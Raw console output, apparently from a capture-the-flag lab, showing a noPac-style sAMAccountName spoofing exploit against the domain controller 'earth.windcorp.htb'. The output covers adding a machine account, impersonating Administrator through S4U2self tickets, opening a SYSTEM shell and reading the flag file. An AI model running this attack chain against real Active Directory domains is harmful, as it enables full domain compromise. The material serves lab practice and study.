[-] Resolved Failed: All nameservers failed to answer the query earth.windcorp.htb. IN A: Server Do53:172.21.48.1@53 answered SERVFAIL  
[*] Selected Target earth.windcorp.htb
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-FLYHEVN8UQL$"
[*] MachineAccount "WIN-FLYHEVN8UQL$" password = L5v9KjbLROOc
[*] Successfully added machine account WIN-FLYHEVN8UQL$ with password L5v9KjbLROOc.
[*] WIN-FLYHEVN8UQL$ object = CN=WIN-FLYHEVN8UQL,CN=Computers,DC=windcorp,DC=htb
[*] WIN-FLYHEVN8UQL$ sAMAccountName == earth
[*] Saving a DC's ticket in earth.ccache
[*] Reseting the machine account to WIN-FLYHEVN8UQL$
[*] Restored WIN-FLYHEVN8UQL$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_earth.windcorp.htb.ccache
[*] Attempting to del a computer with the name: WIN-FLYHEVN8UQL$
[-] Delete computer WIN-FLYHEVN8UQL$ Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
ce5**************************1cc

C:\Windows\system32>